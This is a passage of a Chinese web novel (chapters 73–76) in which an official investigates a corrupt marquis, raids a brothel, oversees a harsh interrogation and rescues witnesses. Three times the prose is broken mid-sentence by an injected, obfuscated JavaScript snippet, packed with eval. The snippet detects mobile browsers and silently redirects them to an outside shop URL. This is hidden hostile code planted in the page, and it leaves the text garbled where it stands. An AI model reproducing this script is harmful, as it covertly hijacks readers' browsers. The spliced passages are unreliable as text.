张清正在理货,是今早刚从熹微书坊拿到手的书,她们编的蒙学课本都定好了,书院也租了一年,桌椅笔墨一应俱全,只等望涯过来则个吉日便可招生,这最后一步也是最艰难的,她们至今还未拿出满意的章程。 宋远华抬手替双儿捋了捋头发,接了钱袋,便让她到井边洗脸。 “听说,大理寺近来忙得不可开交?” 宋远华抬眼看向张清,她有些担心望涯的处境。 “是,可具体的我也不清楚,据说同西亭侯有关,今日他们还围了侯府。” 张清走到宋远华身旁低声道。 “真是想不到,他竟是那样的人。” 坊间都传,夏珏睚眦必报,总想对勤勤恳恳兢兢业业的望涯下毒手,且徇私枉法,为了口腹之欲犯了朝廷法度,还养死士想要谋反。 桩桩件件同以往的夏珏大相径庭,从前的夏珏每逢大旱总会开仓济民,若是北边来犯,他就领兵出征,每每都大胜而归,夏氏一族同样是以‘仁慈’为准行事,口碑确实很好。 73.“抄家” 沈定西见到张行简了。 “坐。” 张行简桌案上的卷宗堆积如山,他刚从兵部回来。 沈定西对张行简心存戒备,但又有望涯这一层在,只好暂时信一信他:“何事?” 张行简略微一怔,抬头看向沈定西漠然的脸,回想起他们见的第一回,当时他十六岁,沈定西约摸是十二,那时她刚从军营出来,脸上带伤,身上还有几分少年特有的傲慢。 “望涯说,去军器所得带上你。” 张行简正在检查公文,在此之前,望涯告诉他要查归平关一役,需得找到一位姓许的娘子,而她或许身在军器所,再多的她就不清楚了,因此得带上沈定西。 张行简并不相信的望涯‘不清楚’,她不过是想给沈定西揽功劳,把她的名字挂到皇帝跟前晃上一晃罢了。 沈定西猜测到事关许策,因此也就没有拒绝,跟着张行简先到兵部核对文书,他也不是推开门就叫嚷着要找许策,而是借调查归平山的案子找兵部拿了通行证,这才得以进入军器所。 沈定西却两手空空:“我的呢?” 张行简摆摆手:“许娘子能藏那么久,你以为是军器所的庇护么?当然不是,因此想进军器所直接翻名册,那是不可能找到的。本官走前门替你打掩护,你翻偏门进去,可行?” 沈定西一时语塞,眼下却没有其他办法,只好点点头。 “所以,你同望涯之间,就是为了这个许策?” 张行简状似无意,心里却在估算望涯筹谋整桩案子的时间,原来是从无为案就开始了吗,在同庆王周旋的同时,还在筹谋夏珏。 “不是。” 沈定西言简意赅,往后无论张行简再说些什么,她都闭口不谈,她不清楚望涯和这位‘老师’间的弯弯绕绕,却能清楚的感知到里头参杂着些复杂的东西,这样的情况下,她不愿意因自己说错话而给望涯带来麻烦。 天色渐晚,夏珏府里各路神仙已经聚齐了。 望涯从后院各处抄走了几大箱书信,再将马大娘在内的几位主事拿进大理寺候审,纪新如今是刑部司员外郎,也被塞进这个案子里了,望涯着正要赶回大理寺,临走前交待纪新:“有个叫谭八的孩子恐怕处境不大好,劳烦纪大人尽快找到他,切勿声张!” 纪新点头,便见望涯找王驰领了文书,接着直奔大理寺,她需得尽快拿到夏府和醉春风的交易,并立马查抄醉春风,虽然有些晚了,但只要人没跑完,她就能从中得到线索。 马大娘面色惨白,但望涯似乎并不打算从她下手,开始审问另一位主事,也不避着她,像是审给她看的。 “先前醉春风略卖的案子里,我见里头有几条你们夏府的账目,你们常从醉春风买丫鬟么?这些丫鬟都在哪儿,为何我没见到她们。” 望涯问。 主事开口就是:“老奴不清楚。” “那就是不愿意开口了。” 望涯得出一个结论,一旁的书吏了然,提笔在纸上记下主事的疑似放走了几个身份不明的仆人,或许是去给夏党通风报信的。 望涯背过身去,慢条斯理道:“支证分明,赃验具在,然不招情款,公然抗拒,当依法拷掠。” 话音落下,她转身离去,未走多远,刑房处传来阵阵惨叫,她并未停下,转而开始筹备查抄醉春风的事宜,今夜就算没有人松口,醉春风也是查定了的。 一切安排妥当后,刑房那头也有了动静。 主事的昏死过去了,他原本就年过半百,这样的骨头自然经不起折腾,望涯瞥了一眼,并未打算就此收手,倒是慷慨地从袖中拿出一副银针,她医术不精,甚至可以说几乎没有,却知道如何叫人保持清醒。 人话就是,扎他人中。 “好看吗?” 望涯在施针的间隙冷不丁冒出一句话,这自然是问候马大娘的,她目睹了全程,亲眼看着素日耀武扬威的老东西同破碎的酒坛子一般,鲜血从破碎的口中溅到墙壁上,还浸湿了缚身的麻绳。 她已然浑身冷汗,转眼看看望涯,她不再是当初在门口求自己带东西的小掌柜了,倒像是刽子手,却手执银针,叫人看不清楚。 不知何时,望涯已经到了马大娘跟前:“大娘,你帮过本官,所以这顿拷打不会落在你身上,但下一顿就不能保证了。” 马大娘家里穷得叮当响,丈夫死了,膝下却还有六个孩子,上头一双父母,老小都靠她养活,眼看日子就要过不下去,忽然有一日,有人问她卖不卖女儿,马大娘一合计,她还有五个女儿能卖,还愁生计吗? 这一卖,就把自己也送进了夏府,还混了个主事,儿子也在夏珏手底下当差。 望涯没打算给她思考的机会,继续道:“你有多久没见过令郎了?” 提起儿子,马大娘猛地抬头看向望涯,而对方缓缓逼近,俯身问道:“你确定他还活着吗?” “夏侯爷有没有告诉你,他被埋在哪儿了?” “你知道他是怎么死的吗?” “我可以告诉你。” 望涯从怀里摸出块碎布来,这是从连七身上扒下来的,连七说,马大娘的儿子马六在半个月前被夏珏派出去了,临行前见连七衣着寒酸,便将马大娘制的衣裳分了一套给他,而这事马大娘并不知情。 布条上还沾着连七的血迹。 望涯并不清楚马六的死活,如果他真死了,自己也算没有欺骗马大娘,倘若还活着,想来马大娘也无法见到他了,她是夏珏的帮凶,夏珏荼毒的每一条人命都有她的一份‘功劳’,如此为人却想要自己的孩子平安顺遂,没有这样的生意。 马大娘颤抖着接过布条,痛哭流涕起来,不远处听见动静的书吏朝这头探了探脑袋,却并未提笔。 “望大人,他快不行了!” 主事的眼见就要咽气,望涯却不疾不徐,淡淡瞥了一眼,左右也是夏珏的老狗,死也就死了,而她做的事情都符合章程,谁能挑出来不是? “还有气? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13151342|126810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “这……倒是有。” “那就继续审。” 交待完那头,她回身,抬手敲了敲牢门:“轮到你了,你也想公然抗拒吗?” 马大娘紧紧攥住布条:“我可以配合,但我儿……” 望涯不觉发笑:“你这是在同本官谈条件?你要明白,我从夏府抓了八个主事,不是非你不可的,不过是你恰好排在了前头。” 她的耐心快要耗尽,于是朝另一头的狱卒招手:“把她拷起来审。” 实际上,同盼儿有关的事情望涯只知道马大娘和谭八,眼下谭八不知所踪,她只能从马大娘下手。 “醉春风!” 马大娘在狱卒踏出第一步时就招认了,她这么惜命,却能帮夏珏杀人,这让望涯有些看不懂。 “她们都送回醉春风了……” 书吏写下最后一个字,笔迹未干就被风风火火的望涯抽走了,临走前瞥了眼主事,留下一句:“找医官。” 虽然已经无济于事,但章程还是得走的。 “可有线索了?” 张行简上了回大理寺的马车,这一趟他也算是有所收获。 沈定西在马车外骑马随行:“有。” 思索片刻后继续问:“我去找她,然后带回大理寺么?” “嗯,让我的人跟你去,注意埋伏。” …… 秋心手里攥着蔷薇水,一双眸子却黯淡无光,她抬眼看向窗外,天气晴朗时通常能看见月亮,或圆月或宵月,然而今天却只看见灰蒙蒙的云。 忽然间,她在丝竹声底下听见了另一种声音,整齐划一,突破一切来到她面前,在不久之后,这种声音还会把她送上刑台,会是绞死吗?那也太不体面了。 秋心起身,像往常一样面带笑容,她又要去接客了。 长长的阶梯上站满了各色娘子,在望涯进门的一瞬间纷纷转头望向她,四周觥筹交错,地上铺的波斯毛毯上落了许多葡萄,丝竹声不绝于耳。 望涯遥遥地看向正中的秋心,心中感叹道她真的很漂亮。 望涯封锁了所有出口,里头的宾客怨声载道,怪是望涯扰了他们的兴致,某位官位还呵斥望涯,叫她滚过去给他个答复。 “下官奉旨彻查夏珏案,大人却重重阻拦,难道大人是夏党?” 望涯示意底下开始动手,就是把醉春风翻个底朝天也得把她们找到,至于眼前这个所谓的‘高官’,看来他也是当不了多久的,‘徐十三’的诉状撒了满天下,就算是不识字的也必定听说了,谁都知道醉春风和夏珏有纠葛,精明的人早就同夏珏划了楚河汉界,他却仍不知死活跑来醉春风撒欢,不是蠢就是坏。 这顶帽子扣下来,他才醒悟,于是闭了闭嘴,开始闹着要走,望涯仍是不肯:“大理寺办案,大人多担待。” 其实也不是不能放,就是想膈应他,叫他抓心挠肝,如坐针毡。 望涯一步步走到秋心面前:“人呢?” 秋心将手腕往望涯身前递了递,笑答:“烧成灰了。” 74.会拿回来的 天亮时,大理寺狱里人头济济,快要关不下了,又借了县衙府衙的牢房,刑部里同样紧缺。 夏珏的朋党真多,仆人更多,乌泱泱的一大片,这让他‘勤俭’的名声摔了个粉碎,热闹一直持续到天亮,侯府门前的百姓围了个水泄不通,眼见侯府被贴上封条,夏珏也被押上马车,四周总算散场,回归日常。 醉春风也已经查得差不多,望涯抓了长长的一串人,至于那些个达官贵人,有一个算一个,叫他们签字画押后都放走了。 最重要的证物——账本,早已不翼而飞。 好在,徐十三留下的东西也足够用了。 大理寺里,纪新忙里偷闲,跑出来等人,不多时,总算看见望涯脚下生风,挎包里以及手上的证物满满当当,像年节里上街置办年货回来。 “找到了吗?” 她问的当然是谭八。 纪新摇头:“没有,说是病死了。” “知道了。” 看来夏珏想见她,做什么呢?难不成还指望她一个小小的司直替他徇私枉法么?夏珏又不瞎,昨儿他府里各路大人都到齐了,此时就算望涯有心放他逃出生天,也没那个本事啊。 何况她没这个心。 “他是你什么人?暗桩吗?” 纪新抬手替望涯分担了些重量,二人一道往回走,只见望涯摇头:“可怜的孩子,被没良心的卖进侯府,家里人托我赎他出来。” “你那头怎么样了?” 纪新抬腿踏上阶梯:“拿了夏珏,但还是以‘调查取证’的名头,他的死士一个也抓不着,这样下来,不保他不会反咬连七,说他诬告,到时候连七身后的人可就难了。” 望涯无视纪新探究的目光,反问道:“你的意思是,连七受人指使?” 她这一出,倒是让纪新有些琢磨不透了,难道真不是她指使的连七吗?另有其人?那会是谁…… “他的差使是做掉你,可你非但活得好好的,夏珏的老底还被掀出来,有这样的关系在,很难不猜到你头上,加上你与夏珏有些旧怨……总之,你得当心。” “夏珏这老东西,总咬着我做什么,我又不能把他怎么样,真是小心眼。” 望涯嘴上骂骂咧咧,脚步却是越走越快,她得去咬夏珏了。 “多谢。” 望涯朝纪新伸手,将证物再接回来,头也不回地扎进地牢里了。 和望涯不同,秋心心情似乎不错,身陷囹圄还有心思哼小曲儿,不过听起来不像是醉春风里的那种,望涯把她提出来,一头查看证物,一头开口问:“夏珏把几个贴身丫鬟送进醉春风,这是为何?她们手上有什么证物吗?各自的姓名以及来历又了解多少?” 秋心摇头:“奴家不知,侯爷让我烧,我也就烧了,灰也都扬了,大人若是想找,也没人敢拦。” 望涯挑眉:“夏珏都指使你做过什么事?” “记不清了,徇私枉法,收受贿赂,草芥人命……” 秋心明面上是徐十三最疼爱的‘女儿’,实际却是夏珏培植的第二个徐十三,他知道徐十三想跑的心从来就没有断过,他们之间还隔了一个徐十三母亲的命案,因此需要一个完全听命于自己,无牵无挂,有野心能做事的人来代替她。 于是从育婴堂选中了秋心,她还未学会认字,就得先学会杀人。 十三岁那年,夏珏也不想将她留在身边,就把她送到了徐十三手里。 徐十三死后,如夏珏所愿,秋心真正接替了她的位置,但他不知道的是,秋心确实成为了第二个徐淑,连想杀了他的心也是相同的,因为徐淑死了,世间唯一会找机会放走秋心的人死了。 而她死前心心念念的,就是杀了夏珏。 徐淑没能完成的遗愿,她会替她做到。 “大人想知道的事情,我知无不言,但有一个请求,大人能否够应允。” “你说。” “我要亲眼看着夏珏死。” “好。” 又是天黑,望涯饥肠辘辘地从地牢里爬出来,捧着沉甸甸的口供去找王驰。不知怎的,她总觉得心里憋屈,总觉得还有事情没有捋清楚。小吏提着灯替她引路,她却走得比他还快,这怎么能行,小吏又追,后来二人开始跑起来,直到望涯冲进王驰的屋子里。 王驰心下一惊,忙起身询问:“怎么了这是?” 望涯将口供塞进王驰怀里,有气无力地说:“王大人,大事不好了!” “这,什么大事?” 还有什么事比这夏珏案更大吗? 然而望涯道:“下官一天未进食,再不吃就要饿死了。” 王驰欲言又止,无语了半晌,这才挥挥手:“……去去去,快去,下回有话好好说。” “好嘞,下官告退,去去就回。” 小吏又要掌灯,望涯摆摆手:“我自己来就好。” 出了皇城,她回到住处,便见佟管事急匆匆迎了上来:“可算回来了,小望大人,有人送了东西过来。” “是什么?” 佟管事不知该怎么说,只让仆人将东西呈上来,那是一个长匣子,打开一看,里头装着两截断肢,拼凑起来是一支完好的手臂。 是谭八的。 望涯一怔,顿时怒火中烧,虽然早有预料,可真正见到还是不免震撼,夏珏的卑劣当真是深不见底,他这是在挑衅吗?想逼望涯气急败坏冲到他面前,然后呢?拿谭八为筹码让她做点什么? “锁好门窗,夜里也别掉以轻心,有人要狗急跳墙了。” 望涯交待完又要出门去,夏珏不给,她自己找。 “小望大人,来送东西的那人,我知道他在哪儿。” 佟管事也不是吃素的,发生这样的事情自然得留个心眼。 …… 谭八睁开眼,断口处开始剧烈疼痛,当夏珏的刀刃砍断他的肢体时,他还感觉不到疼痛,甚至意识不到地上的那只手臂是自己的。 屋子里都是血腥味,门窗也被封死。 “望大人……” 他的声音微弱到连自己都听不见,却试图让它传进望涯的耳朵里,其实在入府前他就准备好了,他可以死也可以残,可当真正体会到,他才发觉原来这么疼。 四周很安静,一点声音也没有。 忽然一声巨响,谭八再次清醒,月光猛然照进柴房,望涯提着砍刀出现在门口,木门被破开,木屑四溅,同被扬起的灰尘一起,在月光里闪闪发光。 她真的听见了。 “东西被夏珏拿走了。” 谭八的委屈忽然涌上心头,他什么事情也没做成。 “我会拿回来的。” 望涯说的,是那只手。 …… 望涯换下沾满血迹的衣裳,佟管 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沈定西斟酌良久,最终点点头,又听望涯道:“倘若要快些,倒是有个法子。” 沈定西竖起耳朵听。 “麻绳一捆。” 望涯道,这话是先前沈定西说的,她拿麻绳捆了许重五,现在为何不能拿麻绳捆一捆那位呈上连□□的马善工,他肯定知道。 “可他是朝廷重…” 张行简忽然咳了几声,以示他的存在,她们想密谋的事情自己并不反对,但这是在大理寺,还是在大理寺少卿面前,未免太过分了些。 望涯将茶杯往他面前推了推,这才抬头问:“大人找我何事?” “许策的事情,你不在场,她不同我说。” 张行简要查的案子在他出生前就发生了,他要查,简直是难如登天,夏珏又不肯松口,什么证据都没有,归平关一役,只有许策和夏珏知情。 望涯转头看向沈定西,二人目光一对,顿时了然,于是沈定西决定松口。 望涯也该起身,回到王驰手底下做事了。 ———— 徐十三留下的证物已经提交到大理寺,加上秋心的口供,夏珏已经必死无疑了。 梁佑生也有些本事,死士的案子在一个月后破获,物证和口供一应俱全,王驰的事已经办完了,张行简却还在蹉跎。 “近来如何?” 赵俨朝王驰投去关切的目光。 王驰答:“还好。” 赵俨真担心王驰没把事情办完就撒手人寰,好在没有,在重要的事情上,王驰的身体向来很争气。 “提到这个案子,微臣就想起来了,望司直办事确实利落,如若没有她,恐怕还得再琢磨一段时间。” 王驰的意思是,可以培养。 赵俨一笑:“是吗。” 翌日。 边关来犯,来势汹汹,而朝廷收到战报时已经是一个半月以后了。 夏珏手握兵权,案发后被夺了个一干二净,武将里姓夏的也通通踹了下去,如今忽然来犯,倒是有人能用,就是不知好不好用。 又是过了一个月,军情十分糟糕,据说被打成了落水狗。 与此同时,沈定西正在县衙的大牢里,她找到许策了。 75.八尺 “沈小娘子?” 许策小心翼翼问,直到沈定西从窗外进来,举起刀砍断了许策手上的镣铐。 “是我,你还好吗?” 不知为何,沈定西的手竟有些颤抖,她蹲下身揽住许策,确认她没有缺胳膊少腿,这才放下心来。 这明明是牢房,里头的物什却将其装点得像个木工坊,许策的一双手满是茧子,连衣裳里都扎了好些木屑。 “你得跟我回大理寺。” 许策一怔,接着点头。 两年前,许策行踪暴露,而沈府势微,夏珏风头正盛,此时提出立归平关的案子,几乎不可能,沈泰庇护不了她,许策不得不自己寻找出路。 于是拿着自己改良后的图纸找到了马善工,马善工不知道许策是什么来头,但她说图纸是她画的,来求马善工点评指正,如许策所料,马善工私吞了图纸,但由于图纸还存在缺陷,他只好又一次找到许策。 这一回,许策佯装愤愤:“我本就流离失所,你却还要坑骗我的图纸……” 说着说着她就要将事情公之于众。 马善工情急之下连忙说:“我,我可以给你住的地方,跟我走,我也会出钱买你的图纸,好吗?” 许策左思右想,最终同意了。 后来马善工确实给了她一间住所,不在京城,但也不远,却在她修改完图纸后诬告她偷窃,将许策丢进了县衙大牢里,这一关,就关了两年,期间马善工也并未放过许策,不断地逼迫她造出新东西,然后剥夺她的功绩,替自己添砖加瓦。 许策确实得到了庇护,同时也亲手把自己送进了不见天日的牢笼。但她没有消沉,因为她知道沈定西会来,她生来就是不凡的。 ———— 贺微正在路上。 此番贺进母子也跟着她们进京来了,贺川回去后发现嫂嫂同侄儿过得不怎么样,侄儿留在贺家庄也不会有更好的前程,不如一道进京来。 “娘,是不是走错了?” 贺微掀开帘子,发现路不大对。 “没错,顺路到新州去看看。” 贺川眼里藏着笑意,她明白,不能因为自己的想法而将贺微永远困住,这很荒唐。 “市舶司?!” 贺微两眼放光,接着扑进贺川怀里一通乱拱,惹得贺川发笑:“行了行了,头发乱糟糟的,还要老娘再给你打理。” “我就知道娘最好了!” 夜里。 一行人在客栈歇脚,从万叔的书信上得知,京中近来波澜不断,好在望涯无碍,还托万叔给贺微寄了书信。信上说她一切安好,叫贺微不要挂心,市舶司近来有新动向,可以顺道去看看,如果不想去,那何时回来?她有点想念贺微了。 贺微嗤笑一声,将信纸递给贺川:“你们倒是心意相通了!” 远在京城的望涯没来由的打了个喷嚏,接着转头看向窗外,眼看又要下雨,但不妨碍今天是个好日子,她要发俸禄了。 “望司直,上哪儿去?” 果然是好日子,连何宝驹都能主动搭话了。 “查案,你的查完了?” 醉春风的案子有秋心在,并不需要望涯费很多心神,可她始终不愿意交待出从侯府送到醉春风的几个丫鬟的下落,而望涯却迫切的想找到她们,无论是否还活着。 “当然没有,拔出萝卜带出泥,越挖越多,无穷无尽,他是怎么做到的?” 替起案子,何宝驹就怨声载道。 “换句话说,等案子结了,咱们不就有赏了吗?” 望涯道。 “那也是。” 何宝驹同望涯道别,走着走着却忽然发现,他为何要主动跟她搭话?!那可是望涯啊! 望涯领了俸禄,而后告了半天的假,回到住处后,双儿从后门钻了进来。 “小望大人!” 望涯浸湿手巾,先将满头大汗的双儿抹了一遍,就听双儿道:“她们果然在济慈庵!” “厨下有紫苏饮,去拿来吧。” 望涯对双儿说,接着走到西厢房,这里住着谭八,他的小命还在。 “今日如何?” 望涯打开他屋里的窗户,窗外不知何处蛰伏着蝉,不要命地喊。 谭八答:“比昨日好了许多。” 望涯接下腰上沉甸甸的钱袋,这是她刚领的俸禄,以及卖书的提成,已经很多了,甚至足够她修缮自己的宅子:“拿着。” “我不能要。” “为何?” “事情没办成。” “册子被夏珏拿走了,但你还记得里头的东西吗?” 望涯问。 谭八点头,望涯所有交代他都记得一清二楚,包括证物拿到手后非但要抄录在册子上,还要牢牢记在心里。 “夏珏有一处别院,名为天怡苑,醉春风送来的小娘子都会送到那头,夏珏常常会乘上雕着云纹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13151344|126810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的马车过去,回来时则会带着一位小娘子,她通常跟随夏珏左右,在府里也有自己的屋子。上一位小娘子名为黎青,就住在您先前同我说的那间屋子里,也是由马主事教导。我见过黎青,她年龄同我相仿,穿金戴银的,可我也只远远的见过一回,面貌看不真切,在我被发现的前几日,那间屋子就空了。” “她死了?” 谭八摇头:“我不清楚。” “嗯,明日我会送你进大理寺,你现在怎么同我说的,明日就再说一遍,别紧张。” 望涯留下钱袋离开了,谭八所说的,同马大娘的差不多,两人都不知道天怡苑究竟在何处。 双儿等在房门外,又晒出了满头大汗,望涯不觉发笑:“怎么这么实心眼呢,让你去拿紫苏饮,你就去到厨下慢慢磨蹭,先把自己喂饱了再过来也不迟。” “我怕大人等急了。” “我很容易急眼吗?” 双儿立马摇头:“不是!” 望涯回到屋子里,抬腿跨过门槛,忽然又停住脚步,一只腿退回门槛外,转头看看门框。 这门框怎么有些陌生? 双儿跟在望涯身后,见她悄悄弯了弯腿,接着莫名其妙点点头,这才恢复正常,但双儿并没有看出门框上有什么花样,便问:“怎么了?” 望涯抬手在门框上虚空画了道线:“我原本只能看到这儿。” 她将那条线往上移了两寸:“现在看到的是这儿,也就是说,我又长高啦!” “恭喜!双儿何时也能长这么高呢?” “很快的,多吃些就好了。” 二人一前一后进了屋子,望涯可算歇下来,双儿则在一旁给她盛紫苏饮,望涯转头问双儿:“你说我能不能长到八尺?” “一定可以的!” ———— “你怎么看?” 赵俨问的当然是边关的事情。 夏党此时各个都开始装哑巴,就是想逼赵俨启用夏氏,过几日,边关彻底撑不住以后,他们之间就会有人出来主动请缨,到时候赵俨还会拒绝吗? 算盘打得很好,可他们倒是忽略了庆王党,他们也蠢蠢欲动呢。 赵邕打的同样的算盘,先按兵不动,再在最后关头‘挺身而出’。 就在双方博弈时,太子赵宇语出惊人:“沈泰如何?” 赵俨忽然一笑:“也有道理。” 76.二百六十七 许策是在夜里到达京城的,城门处有大理寺的接应,她上了马车,双手不觉有些颤抖,连偶尔看见一点引路的火光都能吓一跳。 沈定西骑马随行,忽然解下锦囊,抬手敲两下窗框,很快,帘子从里头被掀开,许策的小半张脸出现在了她的视野中。沈定西将锦囊递给她,里头装着的是许策女儿拿木头做的鸠车。 很聪明的孩子,还给只有一面之缘的望涯也做了一个。 “她随了你,很有天赋。” 沈定西难得有些笑意,火光映在她的脸上,柔和又温暖。 许策捧着鸠车,不觉泪下。 “也不知道……她还认不认得我。” 六年前,许策从父亲手里接过夏珏的秘密,带着它来到京城,蛰伏四年后身份暴露,为了不拖累沈府,不得已给马善工设下陷阱,却也把自己送进了密不透风的监牢,日复一日的游走在崩溃的边缘。 她无数次怀疑过自己当初的选择,可最后仍是坚定不移地相信,这样的日子会有尽头的,终结它的人,不是自己,就是长大以后的沈定西。而在等待的时候,她总需要做点什么,就算天下人不知道许策二字,她也还是要造出世间最厉害的连弩,最精巧的指南车。 “当然。” 沈定西抬手将帘子放下,轻声道:“还有很长一段路,你先睡会儿吧。” 话音落下,佩剑悄然出鞘。 夏珏的狗鼻子可真灵啊。 …… “望司直,有人要见您。” 来传话的是狱卒。 望涯不答,目光停留在一张空白的纸上,眼神有些涣散,心里却清亮得很。在这个节骨眼上大牢里想见自己的,不是庆王就是夏珏,而这两位,她都不想见。 “望司直?” 狱卒小心翼翼抬眼,却猛然对上望涯的目光,夜色太暗,称得她眼里烛火的影子更加火红。 她生气了。 “不见。” 狱卒头一回见到她这般脸色,赶忙退了出去,近来各位大人都跟吃了火药一样,风风火火,不是骂爹就是骂娘,究其原因,都是因为夏珏。而这老家伙在狱里却仍是锦衣玉食伺候着,真该死! 望涯抬手,将白纸翻了个面,上头歪歪扭扭画着几条线,正中间用朱砂点了个红点。夏珏安静得有些出奇,这绝不正常。 “望司直,张少卿找。” 望涯将纸张叠好塞进衣袖,又带上谭八的证词,随小吏见张行简去了。 见面就将东西递给他:“设身处地的想,倘若我是夏珏,绝不会束手就擒。” 纸张上的线路完全足够夏珏逃亡,甚至突破关卡到达北栖,而夏珏经营多年,倘若不加防范,其中任何一条线路都可能拦不住他。 张行简沉思良久,这才将纸张收下,他确实不能保证大理寺狱的墙密不透风,毕竟连文言都姓夏。接着开始翻看谭八的证词,里头出现了一个新词。 “天怡苑?” “嗯,夏珏从天怡苑带回来一名为黎青的小娘子,年十三。在我们查抄夏府之前她就没有了踪迹,是死是活都不清楚。可寻遍京城,并发现没有名为天怡苑的地方,连秋心也未曾听说。” 马大娘同样,她只负责教导醉春风送过来的小娘子,至于天怡苑,闻所未闻。根据谭八的所说,夏珏隔三差五会从天怡苑带回一个小娘子留在身边,一段时间后,她们都会消失不见。 望涯起初以为她们若是还活着会被送进醉春风,但核对过醉春风的名册后并无结果,秋心也否认,甚至不知道天怡苑是个什么东西,她是从育婴堂直接被带进夏府的。根据时间来看,胡盼儿也是,通过醉春风直接进的夏府,期间并没有时间进入天怡苑。 也就是说,天怡苑里的人,从哪来到哪儿去,除了夏珏,没有人知道。 “查清楚。” 既然已经有醉春风替夏珏经营京城事务了,他又何必再修一个天怡苑?除非是为了经营其他地方,例如北栖。 边关战事来得很巧,就算说他们是为了夏珏挑起的战事也不为过,加之冯学士的案子里,夏珏同北栖来往密切,用一州的地盘换得自己的平步青云。这是一桩成功的买卖,既然如此,何不能有第二桩? 在此之前,马大娘的儿子马六领了差使,他消失的时间刚好足够抵达北边。 倘若是在那时就给北栖传信,叫他们替夏珏铺路,让夏珏有‘戴罪立功’的机会,好让他从中脱身。或者……里应外合,杀赵俨个措手不及,彼时就不是一个夏珏的问题了,而是关乎宣庆朝的危亡。 这些事情望涯同样猜到了,否则也不会未雨绸缪,开始堵夏珏的出路。 “还有一件事。” 望涯又拿出一份名单,上头抄录的是夏府十年来放出府的大丫鬟,统共有三十一个,离府时年纪都不大,最大的也只有十七。从前盼儿刚刚被卖进夏府,贺微曾说,夏珏每年会往外放出几个到了年纪的大丫鬟,可后来望涯翻遍各个角落,都无法找到她们的身影,甚至一度怀疑这个消息的真实性。 “或许,宫里还有很多个徐淑。” 夏珏既然有能力往韩娘子身边安排一个徐淑,那就能安排第二个第三个,甚至更多。 张行简默声,这事他管不着,总不能拿着凭空的猜测冲到皇帝面前,说要查他的后宫吧,这不是找死吗,可又不能不查,万一夏珏根本没有想过逃出京城,而是里应外合直接逼宫呢? “你怎么看?” 他问。 “太子。” 她的意思是,把麻烦甩给太子,倘若宫里真有夏珏的眼线,他查出来了自然皆大欢喜,倘若没有,那也是太子的事情。 张行简点头,似乎很满意这个回答,忽然就有心情询问别的事情了:“你的宅子修缮得如何了?” “还未动工。” 先前孔灼提出要给她修,可望涯拒绝了,修宅子这种事情,她想亲自看着,否则眼下仇家这么多,要是有人往墙里砌上什么火药,那她还活不活了? “嗯,也不急,现在住的要是喜欢,就给你了。” “大人,接到了。” 有人来报。 张行简点头,示意望涯留下,又道:“是许策。” 望涯出门迎接,还下意识理了理衣裳,试图让自己看起来像样些,不至于让许策以为大理寺是个摄人魂魄的地方,虽说事实如此,可她刚刚从不见天日的地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13234291|126810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方出来,想来心情不会很好,再吓到她就不好了。 不多时,望涯便见从远处走来一行人,正中的身影披着黑色披风,戴着兜帽,身材瘦小,一旁的是阿彤。 沈定西呢? 待她们走近,望涯才发现他们的情况有些糟糕。阿彤负伤,随行的侍卫也有哗哗流血的,好在,许策安然无恙。 许策微怔,在来的路上她听沈定西说过,大理寺里有位姓望的女大人可以信任。 “发生了什么?” 望涯伸手迎了许策,又转头问阿彤。 “有人劫车,小娘子去捉活口了。” 阿彤见望涯不放心,继续道:“没事的,他们不经打,死了两个,还有一个残了。” “往哪个方向去?” “安福坊。” 阿彤见到望涯,并将许策托付给她,这是沈定西交给自己的差事,现在做完了,于是又整理行装前去接应沈定西。 “万事小心。” 阿彤点头,再次潜入夜色。 …… 许策身前的桌案上放着一碗热乎乎的羊汤,好在现在是夜里,风高气爽,吃热食也不算痛苦,偶尔抬头看向望涯,对方总会回一个微笑,然后问她要不要再添。 “他的针线做得很好,比我好得多。” 许策见望涯打量自己的鞋面,犹豫一二后还是这样说了。许重五一直知道许策上京是去做什么的,他也曾阻止过,可最后还是只能目送许策离开,而他什么也做不了,只能在她临行前替她多备几双鞋子几件衣裳。 偷瞄被发现了的望涯有些不好意思,却又不知该说些什么,绞尽脑汁想了半天,最后说:“挺厉害的,但是没有你厉害。听说你造的连弩很好,回头能不能让我看看?” “当然可以。” 门外传来一阵脚步声,是张行简回来了,在此之前,文言把他喊过去打听案情,他什么也没说,问就是没有头绪。不过这倒是提醒他了,夏珏一旦倒台,文言想必也无法安坐高位,到时候他的位置空出来了,大理寺却还有两位少卿。 望涯起身行礼,仆人上前撤下餐食,很快,屋里只剩下三人。 